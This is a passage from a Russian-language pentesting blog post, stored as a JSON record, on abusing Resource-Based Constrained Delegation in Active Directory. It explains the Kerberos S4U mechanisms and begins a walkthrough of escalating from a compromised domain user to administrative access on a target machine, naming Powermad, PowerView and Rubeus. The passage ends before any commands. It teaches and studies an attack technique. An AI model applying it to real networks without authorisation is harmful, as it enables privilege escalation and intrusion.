{"id":336566,"date":"2022-08-04T15:00:53","date_gmt":"2022-08-04T15:00:53","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=336566"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=336566","title":{"rendered":"<span>\u0414\u0435\u043b\u0435\u0433\u0438\u0440\u0443\u0439 \u043c\u0435\u043d\u044f \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e, \u0438\u043b\u0438 \u041d\u043e\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u043d\u0430 RBCD-\u0430\u0442\u0430\u043a\u0438 \u0432 AD<\/span>"},"content":{"rendered":"<div><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/96a\/087\/796\/96a0877966ef967fbaf894ced71adf50.png\" width=\"640\" height=\"568\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/96a\/087\/796\/96a0877966ef967fbaf894ced71adf50.png\"\/><figcaption><\/figcaption><\/figure>\n<h3>1. \u0421\u0444\u0435\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0435 RBCD \u0432 \u0432\u0430\u043a\u0443\u0443\u043c\u0435<\/h3>\n<p>\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0435 \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 (Resource-Based Constrained Delegation, RBCD) \u043f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u0432 \u041e\u0421 Windows Server 2012 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0437 \u0441\u0435\u0431\u044f \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044e \u043e\u043b\u0438\u0446\u0435\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c (\u0442\u043e \u0435\u0441\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e) \u0432 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438, \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 <strong>\u043f\u043e \u043f\u0430\u0440\u043e\u043b\u044e<\/strong>, \u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u043d\u0443\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0442\u043e \u0438\u043b\u0438 \u0438\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043e\u0442 \u0435\u0433\u043e \u0438\u043c\u0435\u043d\u0438 \u043f\u043e Kerberos-\u0431\u0438\u043b\u0435\u0442\u0443 \u0432 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u043e \u0441\u043e\u0441\u0435\u0434\u0441\u0442\u0432\u0443.<\/p>\n<p>\u041a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0434\u043b\u044f \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u044f, \u0437\u0430\u0447\u0435\u043c \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0443\u0436\u043d\u044b \u0440\u0430\u0437\u043d\u044b\u0435 \u0432\u0438\u0434\u0435 \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432 AD \u2014 \u044d\u0442\u043e \u043f\u0440\u0438\u043c\u0435\u0440 \u0441 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0438 \u0431\u0430\u0437\u043e\u0439 \u0434\u0430\u043d\u043d\u044b\u0445. \u041d\u0435 \u0431\u0443\u0434\u0435\u043c \u043e\u0442\u0445\u043e\u0434\u0438\u0442\u044c \u043e\u0442 \u044d\u0442\u043e\u0439 \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u0438 \u0438 \u043c\u044b, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u0440\u0438\u0441\u0443\u043d\u043e\u043a \u043d\u0438\u0436\u0435.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/ce9\/1d0\/d12\/ce91d0d126df0d6294e7aa4daec12873.png\" alt=\"\u0421\u0444\u0435\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 \u0432\u0430\u043a\u0443\u0443\u043c\u0435\" title=\"\u0421\u0444\u0435\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 \u0432\u0430\u043a\u0443\u0443\u043c\u0435\" width=\"928\" height=\"724\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/ce9\/1d0\/d12\/ce91d0d126df0d6294e7aa4daec12873.png\"\/><figcaption>\u0421\u0444\u0435\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 \u0432\u0430\u043a\u0443\u0443\u043c\u0435<\/figcaption><\/figure>\n<p>\u0427\u0442\u043e \u0437\u0434\u0435\u0441\u044c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442:<\/p>\n<ol>\n<li>\n<p>\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c <code>snovvcrash<\/code> \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u043d\u0430 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0435 <code>WEB01<\/code>, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u00ab\u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438\u00bb \u0441\u0432\u043e\u0439 \u043f\u0430\u0440\u043e\u043b\u044c. \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 NTLM, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e <code>snovvcrash<\/code> \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0438 \u043d\u0435 \u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0431\u0438\u043b\u0435\u0442 Kerberos.<\/p>\n<\/li>\n<li>\n<p>\u0412\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440 \u0432\u0438\u0434\u0438\u0442, \u0447\u0442\u043e \u0435\u043c\u0443 \u043d\u0435 \u0434\u0430\u043b\u0438 \u0442\u0438\u043a\u0435\u0442\u0430 \u0432 \u0445\u043e\u0434\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432 \u0438\u0433\u0440\u0443 \u0432\u0441\u0442\u0443\u043f\u0430\u0435\u0442 \u0442\u0440\u0430\u043d\u0437\u0438\u0442\u043d\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 Kerberos <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-sfu\/02636893-7a1f-4357-af9a-b672e3e3de13\"><strong>S4U2self<\/strong><\/a><strong> <\/strong>(Service for User to Self), \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u043e\u0435 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u00ab\u043f\u0440\u043e\u0431\u0440\u0430\u0441\u044b\u0432\u0430\u0435\u043c\u043e\u0433\u043e\u00bb (Forwardable, \u0431\u0438\u043b\u0435\u0442 \u0441 \u043f\u0440\u0430\u0432\u043e\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438) TGS-\u0431\u0438\u043b\u0435\u0442\u0430 \u043d\u0430 \u0441\u0430\u043c\u043e\u0433\u043e \u0441\u0435\u0431\u044f \u0443 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 TGS-\u0431\u0438\u043b\u0435\u0442 \u043d\u0430 \u0441\u043b\u0443\u0436\u0431\u0443 \u0411\u0414 <code>SQL01<\/code> \u0432 \u0448\u0430\u0433\u0435 3.<\/p>\n<\/li>\n<li>\n<p>\u0410\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0444\u0430\u0437\u044b \u0442\u0440\u0430\u043d\u0437\u0438\u0442\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f Kerberos \u2013 <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-sfu\/bde93b0e-f3c9-4ddf-9f44-e1453be7af5a\"><strong>S4U2proxy<\/strong><\/a><strong> <\/strong>(Service for User to Proxy). \u0412 \u0445\u043e\u0434\u0435 \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 TGS-\u0431\u0438\u043b\u0435\u0442 \u0438\u0437 \u0448\u0430\u0433\u0430 2 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f TGS-\u0431\u0438\u043b\u0435\u0442\u0430 \u043d\u0430 \u0441\u043b\u0443\u0436\u0431\u0443 <code>SQL01<\/code> \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code>snovvcrash<\/code>.<\/p>\n<\/li>\n<li>\n<p>\u0412\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 <code>SQL01<\/code>, \u043e\u043b\u0438\u0446\u0435\u0442\u0432\u043e\u0440\u044f\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code>snovvcrash<\/code>.<\/p>\n<\/li>\n<\/ol>\n<p>\u0412\u0430\u0436\u043d\u043e \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0432 \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438 RBCD-\u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0430\u0432\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u043b\u0443\u0436\u0431\u0435 <code>SQL01<\/code> \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c <code>WEB01<\/code> \u0441 \u043e\u043b\u0438\u0446\u0435\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u0435\u043c \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u0441\u0430\u043c\u0430 \u0441\u043b\u0443\u0436\u0431\u0430 <code>SQL01<\/code>. \u0414\u0430\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u0443\u0442\u0435\u043c \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0441 \u043d\u0435\u043f\u0440\u043e\u0438\u0437\u043d\u043e\u0441\u0438\u043c\u044b\u043c \u043d\u0430\u0437\u044b\u0432\u0430\u043d\u0438\u0435\u043c <code>msDS-AllowedToActOnBehalfOfOtherIdentity<\/code> \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u0441\u043b\u0443\u0436\u0431\u044b (\u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430) <code>SQL01<\/code> \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f SID-\u0430 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 <code>WEB01$<\/code>. \u042d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0435 \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u043e\u0442 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Kerberos Constrained Delegation, KCD).<\/p>\n<h3>2. \u0417\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435 \u0441\u0444\u0435\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u043c RBCD \u0432 \u0432\u0430\u043a\u0443\u0443\u043c\u0435<\/h3>\n<p>\u2014 \u00ab\u041a\u0440\u0443\u0442\u043e, \u0438 \u0447\u0442\u043e \u0441\u043e \u0432\u0441\u0435\u043c \u044d\u0442\u0438\u043c \u0434\u0435\u043b\u0430\u0442\u044c?\u00bb, \u2014 \u0441\u043f\u0440\u043e\u0441\u0438\u043b \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440.<\/p>\n<p>\u2014 \u00ab\u0417\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b#\u0442\u044c, \u0440\u0430\u0437\u0443\u043c\u0435\u0435\u0442\u0441\u044f\u00bb, \u2014 \u043e\u0442\u0432\u0435\u0442\u0438\u043b \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0435\u0440.<\/p>\n<p>\u0412 2019 \u0433\u043e\u0434\u0443 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u042d\u043b\u0430\u0434 \u0428\u0430\u043c\u0438\u0440 (<a href=\"https:\/\/twitter.com\/elad_shamir\">@elad_shamir<\/a>) \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u043f\u0443\u0433\u0430\u044e\u0449\u0438\u0439 \u0441\u0432\u043e\u0438\u043c\u0438 \u0440\u0430\u0437\u043c\u0435\u0440\u0430\u043c\u0438 \u0440\u0435\u0441\u0435\u0440\u0447 <a href=\"https:\/\/shenaniganslabs.io\/2019\/01\/28\/Wagging-the-Dog.html\">Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory<\/a>, \u0441\u0442\u0430\u0432\u0448\u0438\u0439 \u043a\u0440\u0430\u0435\u0443\u0433\u043e\u043b\u044c\u043d\u044b\u043c \u043a\u0430\u043c\u043d\u0435\u043c \u0432 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u0438 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u044f \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432.<\/p>\n<p>\u0412 \u044d\u0442\u043e\u043c \u043f\u0443\u043d\u043a\u0442\u0435 \u044f \u043d\u0435 \u0431\u0443\u0434\u0443 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u0442\u0435\u043e\u0440\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 RBCD Abuse, \u0442\u0430\u043a \u043a\u0430\u043a \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u043e\u0440\u0430\u0445 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430 \u0445\u0432\u0430\u0442\u0430\u0435\u0442 (\u0432 \u043a\u043e\u043d\u0446\u0435 \u043e\u0441\u0442\u0430\u0432\u043b\u044e \u0441\u0441\u044b\u043b\u043a\u0438). \u0412\u043c\u0435\u0441\u0442\u043e \u044d\u0442\u043e\u0433\u043e \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043b\u0443\u0447\u0448\u0435 \u0432\u043c\u0435\u0441\u0442\u0435 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043c \u044d\u0442\u0443 \u0430\u0442\u0430\u043a\u0443 \u00ab\u0432\u0436\u0438\u0432\u0443\u044e\u00bb, \u0447\u0442\u043e\u0431\u044b \u0431\u043e\u043b\u0435\u0435 \u043f\u043b\u0430\u0432\u043d\u043e \u043f\u043e\u0434\u043e\u0439\u0442\u0438 \u043a \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u043d\u043e\u0432\u043e\u0432\u0432\u0435\u0434\u0435\u043d\u0438\u044f\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0431\u044b\u043b\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u044b \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u043c \u0414\u0436\u0435\u0439\u043c\u0441\u043e\u043c \u0424\u043e\u0440\u0448\u043e\u0443 (<a href=\"https:\/\/twitter.com\/tiraniddo\">@tiraniddo<\/a>). \u041d\u0435\u0442\u0435\u0440\u043f\u0435\u043b\u0438\u0432\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0441\u0440\u0430\u0437\u0443 \u043f\u0440\u044b\u0433\u0430\u0442\u044c \u0432 \u043f\u0443\u043d\u043a\u0442 3.<\/p>\n<h4>2.1 \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f RBCD Abuse \u0441 Windows<\/h4>\n<p>\u0421 \u0434\u0430\u043d\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u043e\u0439 \u044f \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043f\u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u043b\u0441\u044f \u0432 \u043c\u043e\u043c\u0435\u043d\u0442 <a href=\"https:\/\/snovvcrash.rocks\/2020\/12\/28\/htb-hades.html#abusing-kerberos-resource-based-constrained-delegation\">\u043f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f<\/a> \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 <a href=\"https:\/\/www.hackthebox.com\/home\/endgame\/view\/3\">Hades<\/a> \u043d\u0430 Hack The Box, \u0438 \u0432 \u0442\u043e\u0442 \u043c\u043e\u043c\u0435\u043d\u0442 \u044d\u0442\u043e \u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0441\u0430\u043c\u044b\u043c \u0441\u043b\u043e\u0436\u043d\u044b\u043c, \u0447\u0442\u043e \u0432\u043e\u043e\u0431\u0449\u0435 \u0431\u044b\u0432\u0430\u0435\u0442 \u0432 AD-\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 (\u043a\u0430\u043a \u0436\u0435 \u044f \u043e\u0448\u0438\u0431\u0430\u043b\u0441\u044f, \u0434\u0430?). \u041a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0430\u0431\u044c\u044e\u0437\u0430 RBCD \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0441 Windows \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0442\u0440\u043e\u0439\u043a\u0438 \u0431\u043b\u0430\u0433\u043e\u0440\u043e\u0434\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432: <a href=\"https:\/\/github.com\/Kevin-Robertson\/Powermad\">Powermad<\/a>, <a href=\"https:\/\/github.com\/PowerShellMafia\/PowerSploit\/blob\/dev\/Recon\/PowerView.ps1\">PowerView<\/a>, <a href=\"https:\/\/github.com\/GhostPack\/Rubeus\">Rubeus<\/a>.<\/p>\n<p>\u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c, \u043c\u044b \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code>TINYCORP\\AngaraUser<\/code>, \u043e\u0431\u043b\u0430\u0434\u0430\u044e\u0449\u0435\u0433\u043e \u043f\u0440\u0430\u0432\u043e\u043c \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u043e\u0431\u044a\u0435\u043a\u0442 \u043c\u0430\u0448\u0438\u043d\u044b <code>MOSCOW.tinycorp.net<\/code>. \u0412 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u043b\u0443\u0436\u0431\u0430\u043c <code>MOSCOW<\/code> \u043d\u0430\u043c \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u0441\u044f \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0430\u043a\u043a\u0430\u0443\u043d\u0442 (\u0438\u043b\u0438 \u043b\u044e\u0431\u0430\u044f \u0434\u0440\u0443\u0433\u0430\u044f \u0423\u0417 \u0441 \u0437\u0430\u043f\u0438\u0441\u044c\u044e SPN) \u0434\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0432\u043f\u0438\u0441\u0430\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0435\u0433\u043e SID-\u0430 \u0432 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e <code>msDS-AllowedToActOnBehalfOfOtherIdentity<\/code> \u043e\u0431\u044a\u0435\u043a\u0442\u0430 <code>MOSCOW<\/code> \u0438 \u0434\u0430\u043b\u0435\u0435 \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e\u0439 \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u043f\u0440\u0430\u0432\u043e \u043e\u043b\u0438\u0446\u0435\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 (\u0438\u043b\u0438 \u0434\u0440\u0443\u0433\u0438\u0445) \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u043e\u0433\u043e \u0445\u043e\u0441\u0442\u0430 <code>MOSCOW<\/code>.<\/p>\n<p>\u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0430\u043a\u043a\u0430\u0443\u043d\u0442 (\u0438\u043b\u0438, \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0441\u0435\u0440\u0432\u0438\u0441\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443 \u0441 \u0437\u0430\u043f\u0438\u0441\u044f\u043c\u0438 SPN) \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0432 \u0434\u043e\u043c\u0435\u043d\u0435 Active Directory, \u043e\u0431\u043b\u0430\u0434\u0430\u044f \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c 